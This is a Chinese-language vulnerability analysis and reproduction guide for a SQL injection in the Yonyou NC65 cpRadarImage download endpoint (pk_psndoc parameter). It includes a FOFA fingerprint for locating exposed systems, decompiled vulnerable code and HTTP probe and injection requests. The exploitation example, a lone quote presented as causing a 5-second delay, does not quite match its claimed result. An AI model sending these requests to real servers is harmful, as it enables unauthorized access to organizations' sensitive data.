漏洞简介
用友NC系统/portal/pt/cpRadarImage/download接口中的pk_psndoc参数实现sql注入,从而窃取服务器的敏感信息。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
本来是根据官方漏洞通告可知SQL注入点在 cpRadarImage 接口

因此搜索 cpRadarImage 方法的实现部分即可定位文件
nc/bs/hrss/pub/action/CpRadarImageAction.class
package nc.bs.hrss.pub.action;
import java.io.File;
import java.io.FileInputStream;
import java.io.OutputStream;
import nc.bs.framework.common.RuntimeEnv;
import nc.bs.hrss.cp.cpAnalysis.CPAnalysisMngCataPanel;
import nc.bs.hrss.cp.cpPortlet.ctrl.CPPortletViewMain;
import nc.bs.hrss.pub.exception.HrssException;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.vo.hr.tools.formconfig.CodeGenUtils;
import nc.vo.ml.NCLangRes4VoTransl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.ArrayUtils;
import uap.lfw.core.ml.LfwResBundle;
@Servlet(
path = "/cpRadarImage"
)
public class CpRadarImageAction extends BaseAction {
public CpRadarImageAction() {
}
@Action
public void download() {
OutputStream out = null;
byte[] pngBytes = null;
try {
this.request.setCharacterEncoding("UTF-8");
String pk_psndoc = this.request.getParameter("pk_psndoc");
String object_id = this.request.getParameter("object_id");
String object_type = this.request.getParameter("object_type");
String size = this.request.getParameter("size");
FileInputStream finput = null;
try {
if ("0".equals(size)) {
pngBytes = CPPortletViewMain.queryRadarChartByCond(CPAnalysisMngCataPanel.POST, pk_psndoc, object_id);
} else if ("1".equals(size)) {
pngBytes = CPPortletViewMain.queryRadarChartByCond(Integer.parseInt(object_type), pk_psndoc, object_id);
} else if ("2".equals(size)) {
pngBytes = CPPortletViewMain.queryBigRadarChartByCond(Integer.parseInt(object_type), pk_psndoc, object_id, 680, 400, 340, 50);
}
if (ArrayUtils.isEmpty(pngBytes)) {
String themeId = LfwRuntimeEnvironment.getThemeId();
String strSrcDir = CodeGenUtils.buildFileURL(RuntimeEnv.getInstance().getNCHome(), new String[]{"hotwebs", "lfw", "frame", "device_pc", "themes", themeId, "ext", "hrss", "cp", "evalueRadar_image.png", ""});
File file = new File(strSrcDir);
finput = new FileInputStream(file);
pngBytes = new byte[finput.available()];
}
if (ArrayUtils.isEmpty(pngBytes)) {
throw new HrssException(NCLangRes4VoTransl.getNCLangRes().getStrByID("c_cp-res", "0c_cp-res0041"));
}
out = this.response.getOutputStream();
this.response.setContentType("image/png");
out.write(pngBytes);
out.flush();
} catch (HrssException e) {
e.deal();
} catch (Exception e) {
(new HrssException(e)).deal();
} finally {
if (finput != null) {
finput.close();
}
}
} catch (Exception e) {
throw new LfwRuntimeException(LfwResBundle.getInstance().getStrByID("c_pub-res", "0c_pub-res0051"), e);
} finally {
IOUtils.closeQuietly(out);
}
}
}
pk_psndoc 参数直接代入 CPPortletViewMain.queryRadarChartByCond 函数,其实现逻辑如下
public byte[] queryRadarChartByCond(Integer object_type, String pk_psndoc, String object_id) throws BusinessException {
GeneralVO[] indiResults = this.queryindiAnalysisResult(object_type, pk_psndoc, object_id);
if (ArrayUtils.isEmpty(indiResults)) {
return this.createSimpleChart(object_type, 400, 360, 200, 30);
} else {
AbilityMatchVO[] matchVOs = new AbilityMatchVO[indiResults.length];
for(int i = 0; i < matchVOs.length; ++i) {
matchVOs[i] = new AbilityMatchVO();
matchVOs[i].setReqRank(new Double(indiResults[i].getAttributeValue("req_score").toString()));
matchVOs[i].setActRank(new Double(indiResults[i].getAttributeValue("get_score").toString()));
matchVOs[i].setIndiName((String)indiResults[i].getAttributeValue("indiname"));
}
return (new RadarChartViewer()).drawRadar(matchVOs, this.getRadarTitle(object_type), ResHelper.getString("6004matchay", "06004matchay0015"), 400, 360, 200, 30);
}
}
跟进 queryindiAnalysisResult 函数,其实现如下
public GeneralVO[] queryindiAnalysisResult(Integer object_type, String pk_psndoc, String object_id) throws BusinessException {
String psnjobsql = " hi_psnjob.ismainjob='Y' and hi_psnjob.endflag='N' and hi_psnjob.lastflag='Y' and hi_psnjob.pk_psndoc = '" + pk_psndoc + "'";
PsnJobVO[] psnJobVOs = (PsnJobVO[])((IPersistenceRetrieve)NCLocator.getInstance().lookup(IPersistenceRetrieve.class)).retrieveByClause((String)null, PsnJobVO.class, psnjobsql);
if (ArrayUtils.isEmpty(psnJobVOs)) {
return null;
} else {
String pk_psnjob = psnJobVOs[0].getPk_psnjob();
GeneralVO[] indiInfo = ((IMatchAnalyseQueryMaintain)NCLocator.getInstance().lookup(IMatchAnalyseQueryMaintain.class)).queryMatchObjPsnIndiResult((String)null, object_id, object_type, (String)null, pk_psnjob);
return indiInfo;
}
}
直接将 pk_psndoc 拼接进SQL语句中,然后将拼接后的SQL语句带入 retrieveByClause 函数后最终还是使用 executeQuery 来执行SQL语句,无任何过滤或校验,造成SQL注入漏洞。
漏洞复现
可先通过如下请求来确定目标是否存在此接口及其响应,如果存在此模块,则会响应一个图片内容
GET /portal/pt/cpRadarImage/download?object_id=1&object_type=1&pageId=login&pk_psndoc=1&size=0 HTTP/1.1
Host: nc65.mrxn.net

漏洞利用示例
GET /portal/pt/cpRadarImage/download?object_id=1&object_type=1&pageId=login&pk_psndoc=1'&size=0 HTTP/1.1
Host: nc65.mrxn.net

成功延时 5 秒
参考
https://security.yonyou.com/#/noticeInfo?id=568


